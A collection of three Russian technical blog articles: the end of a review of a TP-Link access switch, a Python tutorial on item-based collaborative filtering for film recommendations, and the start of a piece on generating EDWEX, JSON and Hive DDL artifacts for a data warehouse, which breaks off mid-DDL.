Практически все современные коммутаторы обрабатывают проходящие фреймы и пакеты без использование центрального процессора. Обработка (расчет контрольной суммы, применение списков доступа и проведение прочих проверок системы безопасности, а также принятие решение о коммутации/маршрутизации) производится с помощью специализированных микросхем, что позволяет добиться высоких скоростей передачи пользовательского трафика. Обсуждаемый коммутатор позволяет обрабатывать трафик на скорости среды. Это означает, что производительности устройства достаточно, чтобы пересылать данные на максимально возможных скоростях всех портов одновременно. У модели T2600G-28SQ есть 24 downlink порта (в сторону пользователей), работающих на скоростях 1 Гбит/с, а также 4 uplink порта (в сторону ядра сети) по 10 Гбит/с. При этом производительность кросс-шины коммутатора составляет 128 Гбит/с, чего достаточно для обработки максимального количества входящего трафика.
Справедливости ради стоит отметить, что производительность коммутационной матрицы составляет 95,2 миллионов пакетов в секунду. То есть при использовании минимально возможных кадров длиной всего 64 байта суммарная производительность устройства составит 97,5 Гбит/с. Однако такой профиль трафика практически невероятен для сетей операторов связи.
**Что такое переподписка**Другим немаловажным вопросом является соотношение скоростей восходящих и нисходящих каналов (переподписка). Здесь уже, очевидно, всё зависит от топологии. Если администратор задействует все четыре интерфейса 10 GE для подключения к ядру сети и объединит их по технологии LAG (Link Aggregation Group) или Port-Channel, то статистически получаемая скорость в сторону ядра составит 40 Гбит/с, чего окажется более, чем достаточно для удовлетворения потребностей всех подключенных абонентов. Причем не обязательно, чтобы все четыре восходящие линка подключались к одному физическому устройству. Подключение может производиться к стеку коммутаторов, либо к двум устройствам, объединённым в кластер (с помощью технологии vPC или подобных). Переподписка в этом случае отсутствует.
Использовать все четыре восходящих канала одновременно можно не только путем объединения их с помощью LAG. Похожего эффекта можно достичь с помощью правильной настройки MSTP, однако это уже совсем другая история.
Вторым часто встречающимся способом L2-подключения является использование двух независимых LAG (по одному до каждого коммутатора агрегации). В этом случае, скорее всего, один из виртуальных линков окажется заблокированным протоколом STP (при использовании STP или RSTP). Переподписка составит 5:6.
Более редкая, но все-таки вполне вероятная ситуация: T2600G-28SQ подключён независимыми каналами к вышестоящему коммутатору или коммутаторам. Протокол STP/RSTP оставит лишь один такой линк в незаблокированном состоянии. Переподписка составит 5:12.
Задание со звёздочкой: рассчитать переподписку для ситуаций, описанных в разделе STP, где мы рассмотрели пример топологии, когда два коммутатора доступа подключены к одному устройству агрегации и соединены между собой.
Программируемые микросхемы, с помощью которых достигается столь высокая скорость пересылки, — ресурс довольно дорогой, поэтому мы стараемся оптимизировать их использование за счет правильного распределения ресурсов между различными функциями. За распределение отвечает SDM — Switch Database Management.
Распределение производится с помощью профиля SDM. На данный момент доступно для использования три профиля, перечисленных ниже.
* Default предлагает сбалансированное решение, для использования MAC и IP списков доступа, а также записей ARP-детектирования.
* EnterpriseV4 позволяет максимизировать ресурсы, доступные для использования MAC и IP списками доступа.
* EnterpriseV6 часть ресурсов выделяет для использования списками доступа IPv6.
Для применения нового профиля необходима перезагрузка коммутатора.
Заключение
----------
В соответствии с изначальным позиционированием данный коммутатор наилучшим образом подойдет операторам связи, перед которыми стоят задачи обеспечения доступа к сети на больших расстояниях. Устройство может использоваться как на уровне доступа, например, в коттеджных поселках и таун-хаусах, так и для агрегации каналов, приходящих от коммутаторов доступа, расположенных в многоквартирных домах; то есть везде, где требуются подключения удалённых объектов. При использовании оптических каналов связи подключаемый абонент может располагаться на расстоянии до нескольких километров.
Со стороны клиентов оптические линки могут терминироваться на небольших коммутаторах с оптическими интерфейсами, либо на медиаконвертерах.
Большое количество поддерживаемых протоколов и опций позволит использовать T2600G-28SQ в Ethernet-сети оператора с любой топологией и любым набором используемых технологий и предоставляемых услуг. Управляется коммутатор удалённо с помощью веб-интерфейса или командной строки. При необходимости локальной настройки можно использовать консольный порт, в модели T2600G-28SQ их два: RJ-45 и micro-USB. В качестве небольшой ложки дегтя отметим отсутствие поддержки стекирования и второго блока питания. Правда, обычно за пределами дата-центров провайдеров наличие второй электрической линии и так будет редкостью.
К его преимуществам мы относим низкую цену, большое количество абонентских оптических портов, наличие оптических аплинков 10 GE, а также четыре комбинированных порта и пересылку трафика на скорости среды. | https://habr.com/ru/post/460421/ | null | ru | null |
# Item-based коллаборативная фильтрация своими руками
Одной из наиболее популярных техник для построения персонализированных рекомендательных систем (RS, чтобы не путать с ПиСи) является [коллаборативная фильтрация](http://ru.wikipedia.org/wiki/%D0%9A%D0%BE%D0%BB%D0%BB%D0%B0%D0%B1%D0%BE%D1%80%D0%B0%D1%82%D0%B8%D0%B2%D0%BD%D0%B0%D1%8F_%D1%84%D0%B8%D0%BB%D1%8C%D1%82%D1%80%D0%B0%D1%86%D0%B8%D1%8F). Коллаборативная фильтрация бывает двух типов: user-based и item-based. User-based часто используется в качестве примера построения персонализированных RS [[на хабре](http://habrahabr.ru/post/150399/), [в книге Т.Сегаран](http://habrahabr.ru/post/79151/),...]. Тем не менее, у user-based подхода есть существенный недостаток: с увеличением количества пользователей RS линейно увеличивается сложность вычисления персонализированной рекомендации.
Когда количество объектов для рекомендаций большое, затраты на user-based подход могут быть оправданы. Однако во многих сервисах, в том числе и в ivi.ru, количество объектов в разы меньше количества пользователей. Для таких случаев и придуман item-based подход.
В этой статье я расскажу, как за несколько минут можно создать полноценную персонализированную RS на основе item-based подхода.
#### Немного теории
Рассмотрим получение k персонализированных рекомендаций (top-k) для некоторого пользователя A. В случае с user-based подходом, для построения рекомендаций находятся так называемые пользователи-соседи (neighbors) пользователя A. Соседи пользователя А — это пользователи, наиболее похожие на него с точки зрения истории просмотров/рейтингов. Количество соседей варьируется в зависимости от реализации и требований к RS, но обычно не превышает 50. Зная предпочтения соседей и историю просмотров пользователя А, RS строит top-k рекомендаций. Такой подход предполагает, что пользователю A понравятся те же объекты, что и пользователям-соседям.
В случае с item-based подходом пользователь A характеризуется объектами objsA, которые он просмотрел или оценил. Для каждого объекта из objsA определяется m объектов-соседей, т.е. находятся m наиболее похожих объектов с точки зрения просмотров/оценок пользователей. При построении RS для фильмов, m принимает значения от 10 до 30. Все объекты-соседи объединяются во множество из которого исключаются объекты, просмотренные или оцененные пользователем A. Из оставшегося множества строится top-k рекомендаций. Таким образом, при item-based подходе в создании рекомендаций участвуют все пользователи, которым понравился тот или иной объект из objsA.
В нашем случае для получения top-k рекомендаций используется простейший вариант алгоритма [Deshpande M. и Karypsis G.](https://stuyresearch.googlecode.com/hg/blake/resources/10.1.1.102.4451.pdf). Рекомендации строятся на основе рейтингов зарегистрированных пользователей ivi.ru.
#### Реализация
Описанный ниже код позволяет получать рекомендации по фильмам для некоторого пользователя A по его истории рейтингов. Данные о рейтингах пользователей ivi.ru (за последние 30 дней) и названиях фильмов для удобства были предварительно выкачены в sqlite БД — ivi\_rates.db.
RS построена на Python с использованием пакетов: numpy, scipy, scikit-learn. Некоторые участки кода могут показаться «дикими» вследствие оптимизации, для них есть комментарии.
##### Подготовка матрицы item-user
Item-user матрица является исходной матрицей как для user-based, так и для item-based коллаборативной фильтрации. Строке данной матрицы соответствует объект, в нашем случае фильм. Столбцу соответствует пользователь. В ячейках матрицы расположены рейтинги.
Для уменьшения шума в рекомендациях и увеличения их точности используются только данные о фильмах с количеством просмотров/рейтингов не менее определенного значения (confidence value). В нашем случае в построении item-user матрицы будут участвовать фильмы минимум c 10 рейтингами. Также, для уменьшения размерности пространства пользователей, мы исключим из построения всех пользователей, которые оценили только один фильм.
Матрица item-user будет сильно разрежена, поэтому и хранить её мы будем соответствующим образом.
```
import sqlite3
conn = sqlite3.connect('ivi_rates.db')
cursor = conn.cursor()
# строим индекс user_id -> col_id, где col_id - идентификатор столбца в матрице
# берем пользователей, оценивших не менее 2 фильмов
users_sql = """
SELECT user_id
FROM rates
WHERE rate IS NOT NULL
GROUP BY user_id HAVING count(obj_id) >= 2
"""
cursor.execute(users_sql)
user_to_col = {}
for col_id, (user_id,) in enumerate(cursor):
user_to_col[user_id] = col_id
# строим индекс obj_id -> row_id, где row_id - идентификатор строки в матрице
# берем только фильмы, которые оценили не менее 10 пользователей
objs_sql = """
SELECT obj_id
FROM rates
WHERE rate IS NOT NULL AND user_id IN (
SELECT user_id
FROM rates
WHERE rate IS NOT NULL
GROUP BY user_id HAVING count(obj_id) >= 2
)
GROUP BY obj_id HAVING count(user_id) >= 10
"""
cursor.execute(objs_sql)
obj_to_row = {}
for row_id, (obj_id,) in enumerate(cursor):
obj_to_row[obj_id] = row_id
print u"Количество пользователей:", len(user_to_col)
print u"Количество объектов:", len(obj_to_row)
```
`Количество пользователей: 353898`
`Количество объектов: 7808`
Индексы нужны для быстрого преобразования идентификаторов пользователей/фильмов в идентификаторы столбцов/строк. Зная количество фильмов и пользователей, можно упростить процесс создания и заполнения матрицы item-user.
```
from scipy.sparse import lil_matrix
sql = """
SELECT obj_id, user_id, rate
FROM rates
WHERE rate IS NOT NULL
"""
cursor.execute(sql)
matrix = lil_matrix((len(obj_to_row), len(user_to_col))) # создаем матрицу нужных размеров
# заполняем матрицу
for obj_id, user_id, rate in cursor:
row_id = obj_to_row.get(obj_id)
col_id = user_to_col.get(user_id)
if row_id is not None and col_id is not None:
matrix[row_id, col_id] = min(rate, 10)
percent = float(matrix.nnz) / len(obj_to_row) / len(user_to_col) * 100
print u"Процент заполненности матрицы: %.2f%%" % percent
```
`Процент заполненности матрицы: 0.17%`
##### Подготовка матрицы item-item
Основной матрицей для item-based подхода является матрица item-item. Строкам и столбцам этой матрицы соответствуют объекты. В ячейках хранится значение схожести объектов. Для определения схожести двух объектов используется метрика [косинусной меры угла](http://en.wikipedia.org/wiki/Cosine_similarity). Список рекомендаций вычисляется путем перемножения матрицы item-item на вектор просмотров/рейтингов пользователя A.
В item-item матрице все значения по диагонали равны 1 (объект на 100% похож на себя). Чтобы исключить диагональ из рекомендаций, ее обычно зануляют.
При стабильном интересе пользователей к объектам, матрица item-item также является стабильной. Под стабильностью интересов подразумевается следующее: если пользователю B нравятся фильмы, понравившиеся пользователю A, то велика вероятность, что пользователю B понравится еще один фильм из списка фильмов, понравившихся пользователю A. Стабильность матрицы означает, что с появлением новых просмотров/рейтингов значения внутри ячеек матрицы будут почти неизменны. Стабильность позволяет не перестраивать матрицу каждый раз при появлении новых рейтингов.
Scipy, numpy, scikit позволяют выполнять матричные операции очень быстро (скорее всего, быстрее, чем любая самописная итерация). При использовании матриц лучше использовать функции из этих пакетов.
```
from sklearn.preprocessing import normalize
from scipy.sparse import spdiags
# косинусная мера вычисляется как отношение скалярного произведения векторов(числитель)
# к произведению длины векторов(знаменатель)
# нормализуем исходную матрицу
# (данное действие соответствует приведению знаменателя в формуле косинусной меры к 1)
normalized_matrix = normalize(matrix.tocsr()).tocsr()
# вычисляем скалярное произведение
cosine_sim_matrix = normalized_matrix.dot(normalized_matrix.T)
# обнуляем диагональ, чтобы исключить ее из рекомендаций
# быстрое обнуление диагонали
diag = spdiags(-cosine_sim_matrix.diagonal(), [0], *cosine_sim_matrix.shape, format='csr')
cosine_sim_matrix = cosine_sim_matrix + diag
percent = float(cosine_sim_matrix.nnz) / cosine_sim_matrix.shape[0] / cosine_sim_matrix.shape[1] * 100
print u"Процент заполненности матрицы: %.2f%%" % percent
print u"Размер в МБ:", cosine_sim_matrix.data.nbytes / 1024 / 1024
```
`Процент заполненности матрицы: 45.54%`
`Размер в МБ: 211`
На самом деле, в каждой строке полученной матрицы item-item хранится список соседей объекта, соответствующего данной строке. Как уже было сказано ранее, для item-based подхода достаточно хранить m наиболее похожих объектов-соседей (top-m). Так как мы работаем с фильмами, то возьмем m равным 30.
```
from scipy.sparse import vstack
import numpy as np
cosine_sim_matrix = cosine_sim_matrix.tocsr()
m = 30
# построим top-m матрицу в один поток
rows = []
for row_id in np.unique(cosine_sim_matrix.nonzero()[0]):
row = cosine_sim_matrix[row_id] # исходная строка матрицы
if row.nnz > m:
work_row = row.tolil()
# заменяем все top-m элементов на 0, результат отнимаем от row
# при большом количестве столбцов данная операция работает быстрее,
# чем простое зануление всех элементов кроме top-m
work_row[0, row.nonzero()[1][np.argsort(row.data)[-m:]]] = 0
row = row - work_row.tocsr()
rows.append(row)
topk_matrix = vstack(rows)
# нормализуем матрицу-результат
topk_matrix = normalize(topk_matrix)
percent = float(topk_matrix.nnz) / topk_matrix.shape[0] / topk_matrix.shape[1] * 100
print u"Процент заполненности матрицы: %.2f%%" % percent
print u"Размер в МБ:", topk_matrix.data.nbytes / 1024 / 1024
```
`Процент заполненности матрицы: 0.38%`
`Размер в МБ: 1`
Согласно работе [Deshpande M. и Karypsis G.](https://stuyresearch.googlecode.com/hg/blake/resources/10.1.1.102.4451.pdf) рекомендации получаются лучше при нормализации конечной матрицы.
Полученная top-m матрица является сильно разреженой и ее размер составляет всего 1 МБ. Т.е. в нашем случае для построения рекомендаций на основании данных о 353898 пользователях и 7808 объектах достаточно хранить матрицу размером всего 1 МБ.
#### Получение рекомендаций
Теперь, когда у нас есть матрица item-item, мы можем построить персонализированные рекомендации для пользователя А.
Получение рекомендаций состоит из трех этапов:
1. перемножить матрицу item-item и вектор просмотров/рейтингов пользователя A;
2. в векторе-результате занулить ячейки, соответствующие фильмам, которые пользователь A уже просмотрел или оценил;
3. отсортировать фильмы в порядке убывания значений, оставшихся в ячеках вектора-результата, и получить top-k рекомендованных фильмов.
```
# индекс для преобразования row_id -> obj_id, где row_id - идентификатор строки в матрице
row_to_obj = {row_id: obj_id for obj_id, row_id in obj_to_row.iteritems()}
# заранее собираем индекс obj_id -> title
title_sql = """
SELECT obj_id, obj_title
FROM rates
GROUP BY obj_id, obj_title
"""
cursor.execute(title_sql)
obj_to_title = {}
for obj_id, title in cursor:
obj_to_title[obj_id] = title
```
```
#подготавливаем вектор рейтингов пользователя:
user_vector = lil_matrix((len(obj_to_row), 1))
user_vector[7780, 0] = 7 # Скорый «Москва-Россия»
user_vector[7755, 0] = 10 # Отель «Гранд Будапешт»
user_vector[7746, 0] = 8 # Мстители
user_vector[7657, 0] = 8 # Охотники за сокровищами
user_vector[6683, 0] = 7 # 300 спартанцев: Расцвет империи
user_vector[7656, 0] = 9 # Невероятная жизнь Уолтера Митти
user_vector[7356, 0] = 9 # Одинокий рейнджер
user_vector[7296, 0] = 8 # Елки 3
user_vector[6839, 0] = 7 # Легенда №17
user_vector[4190, 0] = 7 # 21 и больше
user_vector[7507, 0] = 9 # Покорители волн
user_vector[6938, 0] = 9 # Кон-Тики
user_vector[4230, 0] = 10 # Карты, деньги, два ствола
user_vector[3127, 0] = 8 # 13
user_vector = user_vector.tocsr()
```
```
# 1. перемножить матрицу item-item и вектор рейтингов пользователя A
x = topk_matrix.dot(user_vector).tolil()
# 2. занулить ячейки, соответствующие фильмам, которые пользователь A уже оценил
for i, j in zip(*user_vector.nonzero()):
x[i, j] = 0
# превращаем столбец результата в вектор
x = x.T.tocsr()
# 3. отсортировать фильмы в порядке убывания значений и получить top-k рекомендаций (quorum = 10)
quorum = 10
data_ids = np.argsort(x.data)[-quorum:][::-1]
result = []
for arg_id in data_ids:
row_id, p = x.indices[arg_id], x.data[arg_id]
result.append({"obj_id": row_to_obj[row_id], "weight": p})
result
```
**Результат**[{'obj\_id': 1156180, 'weight': 8.4493290509843408},
{'obj\_id': 978100, 'weight': 6.4337821664936943},
{'obj\_id': 1143770, 'weight': 5.5038366682680451},
{'obj\_id': 978120, 'weight': 5.4203284682159421},
{'obj\_id': 985220, 'weight': 5.2386991677359047},
{'obj\_id': 1033040, 'weight': 5.0466735584390117},
{'obj\_id': 1033290, 'weight': 4.8688497271055011},
{'obj\_id': 1046560, 'weight': 4.6880514059004224},
{'obj\_id': 984040, 'weight': 4.6199406111214927},
{'obj\_id': 960770, 'weight': 4.5788899365020477}]
Ура! Мы построили рекомендации для пользователя. Однако в таком виде они мало о чем говорят. Хорошо, когда RS объясняет пользователю, почему ему рекомендуют тот или иной объект. Существует множество способов объяснения рекомендаций, полученных с использованием коллаборативной фильтрации (подробнее можно почитать у [J.Herlocker, J.Konstan, J.Riedl](http://dl.acm.org/citation.cfm?id=358995)). Здесь приведен один из способов объяснения рекомендаций, который легко реализуется с учетом имеющихся матриц и данных.
Каждый рекомендованный фильм будет объясняться так: `Мы рекомендуем Вам "%(title)s", так как он нравится пользователям, просмотревшим "%(impact)s". Вы оценили "%(impact)s" на %(impact_value)s.`
```
# фильмы, которые мы рекомендуем, и их связь с фильмами, которые оценил пользователь
result = []
for arg_id in data_ids:
row_id, p = x.indices[arg_id], x.data[arg_id]
obj_id = row_to_obj[row_id]
# определяем, как повлиял на рекомендуемый фильм каждый из оцененных пользователем фильмов.
# topk_matrix[row_id] - вектор соседей рекомендованного фильма obj_id
# .multiply(user_vector.T) - зануляет все фильмы, которые пользователь не оценивал
# impact_vector - вес просмотренных пользователем фильмов при подсчете метрики рекомендации obj_id
impact_vector = topk_matrix[row_id].multiply(user_vector.T)
# наиболее значимый фильм - ячейка с наибольшим значением в impact_vector
impacted_arg_id = np.argsort(impact_vector.data)[-1]
impacted_row_id = impact_vector.indices[impacted_arg_id]
impact_value = user_vector[impacted_row_id, 0]
impacted_obj_id = row_to_obj[impacted_row_id] # наиболее значимый фильм
rec_item = {
"title": obj_to_title[obj_id],
"weight": p,
"impact": obj_to_title[impacted_obj_id],
"impact_value": impact_value
}
result.append(rec_item)
print u'''Мы рекомендуем Вам "%(title)s", так как он нравится пользователям, просмотревшим "%(impact)s". Вы оценили "%(impact)s" на %(impact_value)s.''' % rec_item
```
**Результат**Мы рекомендуем Вам «Кухня в Париже», так как он нравится пользователям, просмотревшим «Скорый «Москва-Россия»».
Вы оценили «Скорый «Москва-Россия»» на 7.0.
\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*
Мы рекомендуем Вам «Невозможное», так как он нравится пользователям, просмотревшим «Кон-Тики».
Вы оценили «Кон-Тики» на 9.0.
\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*
Мы рекомендуем Вам «Приключения мистера Пибоди и Шермана», так как он нравится пользователям, просмотревшим «Скорый «Москва-Россия»».
Вы оценили «Скорый «Москва-Россия»» на 7.0.
\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*
Мы рекомендуем Вам «Паркер», так как он нравится пользователям, просмотревшим «Карты, деньги, два ствола».
Вы оценили «Карты, деньги, два ствола» на 10.0.
\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*
Мы рекомендуем Вам «Бойфренд из будущего», так как он нравится пользователям, просмотревшим «Одинокий рейнджер».
Вы оценили «Одинокий рейнджер» на 9.0.
\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*
Мы рекомендуем Вам «Волк с Уолл-стрит», так как он нравится пользователям, просмотревшим «Невероятная жизнь Уолтера Митти».
Вы оценили «Невероятная жизнь Уолтера Митти» на 9.0.
\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*
Мы рекомендуем Вам «Горько!», так как он нравится пользователям, просмотревшим «Елки 3».
Вы оценили «Елки 3» на 8.0.
\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*
Мы рекомендуем Вам «Стив Джобс. Потерянное интервью», так как он нравится пользователям, просмотревшим «Кон-Тики».
Вы оценили «Кон-Тики» на 9.0.
\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*
Мы рекомендуем Вам «Техасская резня бензопилой 3D», так как он нравится пользователям, просмотревшим «Отель «Гранд Будапешт»».
Вы оценили «Отель «Гранд Будапешт»» на 10.0.
\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*
Мы рекомендуем Вам «Хоббит: Пустошь Смауга», так как он нравится пользователям, просмотревшим «Невероятная жизнь Уолтера Митти».
Вы оценили «Невероятная жизнь Уолтера Митти» на 9.0.
\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*
В приведенном примере построения RS не используется нормализация рейтингов, так как тема нормализации данных достойна отдельной статьи.
Описанный способ построения персонализированной RS позволяет показать, что item-based подход является мощным инструментом для построения RS. В то же время, стоит понимать, что современные RS используют несколько персонализированных и неперсонализированных методов для построения рекомендаций. Комбинированное использование различных методов позволяет создавать хорошие рекомендации независимо от количества данных о пользователе или объекте. | https://habr.com/ru/post/232843/ | null | ru | null |
# Как автоматизировать с Jenkins сборку и раскатку артефактов модели метаданных для таблиц в хранилище
Все началось с того, что мы столкнулись с потребностью быстро и правильно формировать структуры EDWEX, JSON, DDL и затем раскатывать их на разных контурах реляционных БД. Под контурами я подразумеваю знакомые всем аббревиатуры — DEV, TST, UAT, PRD.
На тот момент мы делали практически все вручную: и генерировали DDL, и собирали edwex-ы и json-ы на основе метаданных из Oracle БД. Входных параметров множество. Упустишь один — и некорректно сформируешь сущность. А так как весь процесс формирования был последовательным и непрерывным, то ошибка обнаружится только в самом конце. О том, как мы все автоматизировали и побороли ошибки, читайте под катом.
Немного об инфраструктуре
-------------------------
Перед тем, как залить данные в таблицы реляционных БД, нам необходимо принять их из источника — в любом формате, например в Excel. Данные из источника с помощью in-house механизма транспортируются в Hadoop (Data Lake). На Hadoop установлена надстройка Hive — с ее помощью мы можем просматривать содержимое файлов с помощью SQL-подобного синтаксиса.
Чтобы переложить данные в Data Lake в виде таблиц, нам необходимы json’ы, которые формируются на основе метаданных. Чтобы распарсить данные в формате Excel, нам необходимо сформировать EDWEX файлы. EDWEX (EDW\_EXTRACTOR) файлы представляют собой некий набор артефактов, в которых содержатся наборы таблиц с наименованием, а также наборы полей для каждой из этих таблиц, формирующихся на основе метаданных. В зависимости от версии моделей и ID источника набор полей различается. Формирование DDL необходимо для создания самих таблиц в БД Hive на уровне оперативных данных и в БД Greenplum на уровне детальных и агрегированных данных. То есть первично данные попадают в Hive, при необходимости фильтруются и перекладываются в Greenplum для последующих манипуляций с данными и создания витрин на их основе.
**Пример edwex артефактов**
pack – содержит набор таблиц
data – содержит набор полей
pack.edwex:
```
1 Table_1 User Table_1 bid between to_char($fromdt,'yyyymm') and to_char($actualdt,'yyyymm')
2 Table_2 User Table_2 curbid between to_char($fromdt,'yyyymm') and to_char($actualdt,'yyyymm')
3 Table_3 User Table_3 bid between to_char($fromdt,'yyyymm') and to_char($actualdt,'yyyymm')
```
data.edwex:
```
1 1 CHARGE_ID NUMBER 38 0
1 2 SVC_ID NUMBER 38 0
1 3 VND_ID NUMBER 38 0
1 4 PRICE NUMBER 38 5
1 5 QUANTITY NUMBER 38 5
1 6 BASE NUMBER 38 5
1 7 TAX NUMBER 38 5
1 8 TOTAL NUMBER 38 5
1 9 TAX_RATE NUMBER 38 5
1 10 TAX_IN VARCHAR 1
1 11 CHARGE_KIND VARCHAR 3
1 12 PRIVILEGE_ID NUMBER 38 0
1 13 CHARGE_REF_ID NUMBER 38 0
1 14 EBID NUMBER 38 0
1 15 INVOICE_ID NUMBER 38 0
1 16 ZERO_STATE_ID NUMBER 38 0
1 17 USER_ID NUMBER 38 0
1 18 BID NUMBER 38 0
1 19 QUANTITY_REAL NUMBER 38 5
2 1 CURBID NUMBER 38 0
2 2 USER_ID NUMBER 38 0
2 3 VND_ID NUMBER 38 0
2 4 APPBID NUMBER 38 0
2 5 SVC_ID NUMBER 38 0
2 6 DEBT NUMBER 38 5
2 7 INSTDEBT NUMBER 38 5
3 1 INVOICE_ID NUMBER 38 0
3 2 INVOICE_DATE DATE
3 3 INVOICE_NUM VARCHAR 64
3 4 INVOICE_NUM_N NUMBER 38 5
3 5 BASE NUMBER 38 5
3 6 TAX NUMBER 38 5
3 7 TOTAL NUMBER 38 5
3 8 PREPAID VARCHAR 1
3 9 EXPLICIT VARCHAR 1
3 10 VND_ID NUMBER 38 0
3 11 ADV_PAYMENT_ID NUMBER 38 0
3 12 MDBID NUMBER 38 0
3 13 BID NUMBER 38 0
3 14 USER_ID NUMBER 38 0
3 15 ZERO_STATE_ID NUMBER 38 0
3 16 ACTIVE_SUM NUMBER 38 5
3 17 SPLIT_VND NUMBER 38 5
3 18 PRECREATED VARCHAR 1
```
**Пример json артефактов**
```
Table.json:
{
"metadata": [
{
"colOrder":"1",
"name":"charge_id",
"dataType":"DECIMAL",
"precision":"0",
"requied":"true",
"keyFile":""
},
{
"colOrder":"2",
"name":"svc_id",
"dataType":"DECIMAL",
"precision":"0",
"requied":"false",
"keyFile":""
},
{
"colOrder":"3",
"name":"vnd_id",
"dataType":"DECIMAL",
"precision":"0",
"requied":"false",
"keyFile":""
},
{
"colOrder":"4",
"name":"price",
"dataType":"DECIMAL",
"precision":"0",
"requied":"false",
"keyFile":""
},
{
"colOrder":"5",
"name":"quantity",
"dataType":"DECIMAL",
"precision":"0",
"requied":"false",
"keyFile":""
},
{
"colOrder":"6",
"name":"base",
"dataType":"DECIMAL",
"precision":"0",
"requied":"false",
"keyFile":""
},
{
"colOrder":"7",
"name":"tax",
"dataType":"DECIMAL",
"precision":"0",
"requied":"false",
"keyFile":""
},
{
"colOrder":"8",
"name":"total",
"dataType":"DECIMAL",
"precision":"0",
"requied":"false",
"keyFile":""
},
{
"colOrder":"9",
"name":"tax_rate",
"dataType":"DECIMAL",
"precision":"0",
"requied":"false",
"keyFile":""
},
{
"colOrder":"10",
"name":"tax_in",
"dataType":"STRING",
"precision":"0",
"requied":"false",
"keyFile":""
},
{
"colOrder":"11",
"name":"charge_kind",
"dataType":"STRING",
"precision":"0",
"requied":"false",
"keyFile":""
},
{
"colOrder":"12",
"name":"privilege_id",
"dataType":"DECIMAL",
"precision":"0",
"requied":"false",
"keyFile":""
},
{
"colOrder":"13",
"name":"charge_ref_id",
"dataType":"DECIMAL",
"precision":"0",
"requied":"false",
"keyFile":""
},
{
"colOrder":"14",
"name":"ebid",
"dataType":"DECIMAL",
"precision":"0",
"requied":"false",
"keyFile":""
},
{
"colOrder":"15",
"name":"invoice_id",
"dataType":"DECIMAL",
"precision":"0",
"requied":"false",
"keyFile":""
},
{
"colOrder":"16",
"name":"zero_state_id",
"dataType":"DECIMAL",
"precision":"0",
"requied":"false",
"keyFile":""
},
{
"colOrder":"17",
"name":"user_id",
"dataType":"DECIMAL",
"precision":"0",
"requied":"false",
"keyFile":""
},
{
"colOrder":"18",
"name":"bid",
"dataType":"DECIMAL",
"precision":"0",
"requied":"false",
"keyFile":""
},
{
"colOrder":"19",
"name":"quantity_real",
"dataType":"DECIMAL",
"precision":"0",
"requied":"false",
"keyFile":""
}
],
"ctlPath":"путь до ctl",
"errPath":"путь до файла логирования ошибок",
"inPath":"путь для формирования в hdfs",
"outSchema":"схема БД",
"outTable":"наименование таблицы",
"isPartitioned":"параметр партиционирования",
"sourceId":"id системы источника"
}
```
**Пример DDL-артефактов**
alter table scheme.GP\_000001\_TABLE rename to Z\_GP\_000001\_TABLE\_20180807;
create table scheme.GP\_000001\_TABLE
(
`charge\_id` DECIMAL(38,0),
`svc\_id` DECIMAL(38,0),
`vnd\_id` DECIMAL(38,0),
`price` DECIMAL(38,5),
`quantity` DECIMAL(38,5),
`base` DECIMAL(38,5),
`tax` DECIMAL(38,5),
`total` DECIMAL(38,5),
`tax\_rate` DECIMAL(38,5),
`tax\_in` STRING,
`charge\_kind` STRING,
`privilege\_id` DECIMAL(38,0),
`charge\_ref\_id` DECIMAL(38,0),
`ebid` DECIMAL(38,0),
`invoice\_id` DECIMAL(38,0),
`zero\_state\_id` DECIMAL(38,0),
`user\_id` DECIMAL(38,0),
`bid` DECIMAL(38,0),
`quantity\_real` DECIMAL(38,5),
`load\_dttm` TIMESTAMP,
`src\_id` SMALLINT,
`package\_id` BIGINT,
`wf\_run\_id` BIGINT,
`md5` STRING
)
ROW FORMAT DELIMITED FIELDS TERMINATED BY '\t'
STORED AS INPUTFORMAT 'org.apache.hadoop.mapred.TextInputFormat' OUTPUTFORMAT 'org.apache.hadoop.hive.ql.io.HiveIgnoreKeyTextOutputFormat'
LOCATION 'путь для формирования в hdfs'
TBLPROPERTIES ( 'auto.purge'='true', 'transient\_lastDdlTime'='1489060201');
insert into scheme.GP\_000001\_TABLE( `charge\_id`,
`svc\_id`,
`vnd\_id`,
`price`,
`quantity`,
`base`,
`tax`,
`total`,
`tax\_rate`,
`tax\_in`,
`charge\_kind`,
`privilege\_id`,
`charge\_ref\_id`,
`ebid`,
`invoice\_id`,
`zero\_state\_id`,
`user\_id`,
`bid`,
`quantity\_real`,
`load\_dttm`,
`src\_id`,
`package\_id`,
`wf\_run\_id`,
`md5`)
select `charge\_id`,
`svc\_id`,
`vnd\_id`,
`price`,
`quantity`,
`base`,
`tax`,
`total`,
`tax\_rate`,
`tax\_in`,
`charge\_kind`,
`privilege\_id`,
`charge\_ref\_id`,
`ebid`,
`invoice\_id`,
`zero\_state\_id`,
`user\_id`,
`bid`,
`quantity\_real`,
load\_dttm,
src\_id,
package\_id,
wf\_run\_id,
md5 from scheme.Z\_GP\_000001\_TABLE\_20180807;
alter table scheme.GP\_000001\_TABLE rename to Z\_GP\_000001\_TABLE\_20180807;
create table scheme.GP\_000001\_TABLE
(
`charge\_id` DECIMAL(38,0),
`svc\_id` DECIMAL(38,0),
`vnd\_id` DECIMAL(38,0),
`price` DECIMAL(38,5),
`quantity` DECIMAL(38,5),
`base` DECIMAL(38,5),
`tax` DECIMAL(38,5),
`total` DECIMAL(38,5),
`tax\_rate` DECIMAL(38,5),
`tax\_in` STRING,
`charge\_kind` STRING,
`privilege\_id` DECIMAL(38,0),
`charge\_ref\_id` DECIMAL(38,0),
`ebid` DECIMAL(38,0),
`invoice\_id` DECIMAL(38,0),
`zero\_state\_id` DECIMAL(38,0),
